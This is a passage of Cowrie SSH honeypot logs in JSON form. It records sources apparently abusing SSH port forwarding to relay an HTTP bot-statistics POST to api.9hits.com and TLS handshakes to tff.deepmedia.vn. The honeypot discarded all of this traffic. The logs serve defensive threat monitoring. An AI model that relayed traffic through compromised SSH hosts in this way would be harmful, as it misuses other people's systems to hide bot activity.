no-cache\\r\\n\\r\\n_=UTlCWUBxZ1EyMkdDZD4mcg%3D%3DGfiV%2BxkTu81Z0bCKgY2OQGVqzm%2BmzRvwSQQ0Xr2%2Ft3Ft9sDAy%2F3n7Prg4BON5v9BH1uv8ztegqL0lx373xMCJZf0mUd2CTHpIkXTY%2FpU0JnmLECUx9FBpSAmSyjRKNuEWOHpN3tMf0%2Bt0HptGOQTlhs2iXAvuVf%2BXlAeto0YqD5eRujwB4hiTG3fm0YpYQBVsgRmrXL74PhJSQ7uwA02TY%2B8LlftX2ypW0qmMEXuAUjksrNVDqtnYkKK0f7ZH0rU8He0J58zJfZdghkg%2Fw3gO%2FGtfgYlrGISGkAMZI0RNZ7DUp5n2MPn62EPX6WjRbGF7ehvJyVB1EW5MsfGzxpFeeXY7iuhnlNsSRNkMFlBBXGnpXbhXLmyGDiJiDSxeBDv9mCm7L6zct8pme2nCbURKfuV1uEYXz1YrGx4kPsYYkKkayPo%2FLgSXCAbrYR34mq%2FEipqVBQuMJ0pBTOjIU%2FkWEmbpmGsK10xOJXeTYOH8Coy33m2a1Xoj3iiyeDsttex3gu%2B%2FPIKxqIeGD9yCdHw7ZVwhqsepkugyVD1G%2FL3NdJJj%2BIBEPQCmqG%2BTumUXSuCug2HAPDXqr8iOahaUO%2Fk9GRZ9z66WVwO25PTEkj0ftxuHWBe6Ra6ae4tc1zhHhVXA6mlvp3zsjYQsPU260SOqcnOXvXYYX3YMf2%2F4yECi3S9xrPdaAB22VS%2BCvOirV6mQLLiNhj%2BH921TKhb961Ew9eRl9dWW%2FAur2GEWxbjD4I2HFBshpkoyiRU9hWVs4VC8%2FLeh2QGB144o%2BvCm1KYE%2FgFSaWO6alVjxpEbeITU5MojkpVv%2BrWV5Jdb1pTh9NN5kYhbAytrMUkV6GsJaEG7HdQsrix6JgBtt4NVcpoPCgoChNhdMMMXGuXG8HLXBjl4%2Fu9T%2B1yoUD3oY7dlFTpwGmaBdKJF2fMpccxmUh0WVfgZjwMpFtcrOqHX78M0vyfTWFtsDALpVzEwN2bcEh%2BVukQCpx13MOx8nj8%2FLCofBe3yhg9%2BnGdmZoYXV6G6MCx73YPiFWa%2Bn5MqPsvv%2FvB3GcgXbP%2F1ITYfmSgiUlZBBvZmng2qJ%2FzvhnKuJvLa6T9'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.3 Mobile/17C54 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=UTlCWUBxZ1EyMkdDZD4mcg%3D%3DGfiV%2BxkTu81Z0bCKgY2OQGVqzm%2BmzRvwSQQ0Xr2%2Ft3Ft9sDAy%2F3n7Prg4BON5v9BH1uv8ztegqL0lx373xMCJZf0mUd2CTHpIkXTY%2FpU0JnmLECUx9FBpSAmSyjRKNuEWOHpN3tMf0%2Bt0HptGOQTlhs2iXAvuVf%2BXlAeto0YqD5eRujwB4hiTG3fm0YpYQBVsgRmrXL74PhJSQ7uwA02TY%2B8LlftX2ypW0qmMEXuAUjksrNVDqtnYkKK0f7ZH0rU8He0J58zJfZdghkg%2Fw3gO%2FGtfgYlrGISGkAMZI0RNZ7DUp5n2MPn62EPX6WjRbGF7ehvJyVB1EW5MsfGzxpFeeXY7iuhnlNsSRNkMFlBBXGnpXbhXLmyGDiJiDSxeBDv9mCm7L6zct8pme2nCbURKfuV1uEYXz1YrGx4kPsYYkKkayPo%2FLgSXCAbrYR34mq%2FEipqVBQuMJ0pBTOjIU%2FkWEmbpmGsK10xOJXeTYOH8Coy33m2a1Xoj3iiyeDsttex3gu%2B%2FPIKxqIeGD9yCdHw7ZVwhqsepkugyVD1G%2FL3NdJJj%2BIBEPQCmqG%2BTumUXSuCug2HAPDXqr8iOahaUO%2Fk9GRZ9z66WVwO25PTEkj0ftxuHWBe6Ra6ae4tc1zhHhVXA6mlvp3zsjYQsPU260SOqcnOXvXYYX3YMf2%2F4yECi3S9xrPdaAB22VS%2BCvOirV6mQLLiNhj%2BH921TKhb961Ew9eRl9dWW%2FAur2GEWxbjD4I2HFBshpkoyiRU9hWVs4VC8%2FLeh2QGB144o%2BvCm1KYE%2FgFSaWO6alVjxpEbeITU5MojkpVv%2BrWV5Jdb1pTh9NN5kYhbAytrMUkV6GsJaEG7HdQsrix6JgBtt4NVcpoPCgoChNhdMMMXGuXG8HLXBjl4%2Fu9T%2B1yoUD3oY7dlFTpwGmaBdKJF2fMpccxmUh0WVfgZjwMpFtcrOqHX78M0vyfTWFtsDALpVzEwN2bcEh%2BVukQCpx13MOx8nj8%2FLCofBe3yhg9%2BnGdmZoYXV6G6MCx73YPiFWa%2Bn5MqPsvv%2FvB3GcgXbP%2F1ITYfmSgiUlZBBvZmng2qJ%2FzvhnKuJvLa6T9'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:12.915141Z","src_ip":"38.46.222.137","session":"a4ef52bd2780","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:12.975684Z","session":"a4ef52bd2780","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:13.058053Z","src_ip":"38.46.222.137","session":"a4ef52bd2780","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaa\\xea\\xe6b\\xaf\\xfb\\xadH\\xe2\\xfb\\xc0.\\x0c\\x05\\xb3\\x11l\\xa7N/\\x84\\xf9\\x8dA\\xeaP]u`>\\xea\\x96 \\xeb\\x86\\xc2z*\\x19p\\x17\\xe3\\x96\\xa2\\xb3\\x83\\xcdD\\x90@ \\xf0\\xc4jT\\x8a\\xe5\\xd7\\x14n\\xa3\\xa4\\xaft\\x16\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 xO\\x08\\xaf\\xff\\xf3P\\xfe\\xd6\\x93\\xdf\\x93\\x07\\xc9C\\xefs\\xf3\\xdd\\xca\\x18\\xd4\\xcd\\xf0_TL@.\\xb3Fs\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaa\\xea\\xe6b\\xaf\\xfb\\xadH\\xe2\\xfb\\xc0.\\x0c\\x05\\xb3\\x11l\\xa7N/\\x84\\xf9\\x8dA\\xeaP]u`>\\xea\\x96 \\xeb\\x86\\xc2z*\\x19p\\x17\\xe3\\x96\\xa2\\xb3\\x83\\xcdD\\x90@ \\xf0\\xc4jT\\x8a\\xe5\\xd7\\x14n\\xa3\\xa4\\xaft\\x16\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 xO\\x08\\xaf\\xff\\xf3P\\xfe\\xd6\\x93\\xdf\\x93\\x07\\xc9C\\xefs\\xf3\\xdd\\xca\\x18\\xd4\\xcd\\xf0_TL@.\\xb3Fs\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:13.063389Z","src_ip":"38.46.222.137","session":"a4ef52bd2780","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:13.736308Z","session":"64bcfd2d2c52","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:13.781087Z","src_ip":"173.208.188.210","session":"64bcfd2d2c52","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa8\\xe3\\x8c\\x18~\\x16\\r\\x89\\xcf\\x91\\xe8\\xa9\\n\\xa13q\\x95\\x18\\x81\\xa0\\x9f\\xb2D=\\xef\\xaca\\xcc\\xf9\\x81\\x94z \\xdc\\xc5\\x8d\\x8e\\xef\\x10\\'\\xbd\\x9cf\\xe4H(I;\"\\x1f\\x99_\\xc1l\\xf7\\x8a\\xc1\\x07\\xf9\\xe3\\xa5/\\x0c\\xb5\\x81\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 S\\xf4*F{\\xa7A\\xe1t\\x84\\xc7\\xbe\\x9b\\x81\\x9bC\\x0e\\xbbF\\xac\\x9f\\xc6\\xbe$D\\x82f\\x016\\xea\\x8fJ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa8\\xe3\\x8c\\x18~\\x16\\r\\x89\\xcf\\x91\\xe8\\xa9\\n\\xa13q\\x95\\x18\\x81\\xa0\\x9f\\xb2D=\\xef\\xaca\\xcc\\xf9\\x81\\x94z \\xdc\\xc5\\x8d\\x8e\\xef\\x10\\'\\xbd\\x9cf\\xe4H(I;\"\\x1f\\x99_\\xc1l\\xf7\\x8a\\xc1\\x07\\xf9\\xe3\\xa5/\\x0c\\xb5\\x81\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 S\\xf4*F{\\xa7A\\xe1t\\x84\\xc7\\xbe\\x9b\\x81\\x9bC\\x0e\\xbbF\\xac\\x9f\\xc6\\xbe$D\\x82f\\x016\\xea\\x8fJ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:13.784250Z","src_ip":"173.208.188.210","session":"64bcfd2d2c52","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:13.916320Z","session":"64bcfd2d2c52","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:13.961760Z","src_ip":"173.208.188.210","session":"64bcfd2d2c52","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03:\\x8c\\x05\\xef\\x04\\x18H\\xaf8O_O\\xdfu\\xe6C\\xaa`O\\xf7vH_\\xb4\\x86\\x99o\\xddX\\xa3R\\x1b Ez(3\\x0c\\x1d\\x91\\xedJ[\\x17u\\xc8c\\xbd\\x1dS\"\\xc4b\\x0f\\x1d$\\x1d:\\x9a]\\xc0\"N\\xe5&\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 e\\xc3a1DQ\\xe4\\xbe$\\x8f\\x06\\xa8\\xec+\\xcf\\xca\\xa2\\xbb\\x9dmpM\\x13H\\xbaS,\\x12\\x96\\x12\\x02N\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03:\\x8c\\x05\\xef\\x04\\x18H\\xaf8O_O\\xdfu\\xe6C\\xaa`O\\xf7vH_\\xb4\\x86\\x99o\\xddX\\xa3R\\x1b Ez(3\\x0c\\x1d\\x91\\xedJ[\\x17u\\xc8c\\xbd\\x1dS\"\\xc4b\\x0f\\x1d$\\x1d:\\x9a]\\xc0\"N\\xe5&\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 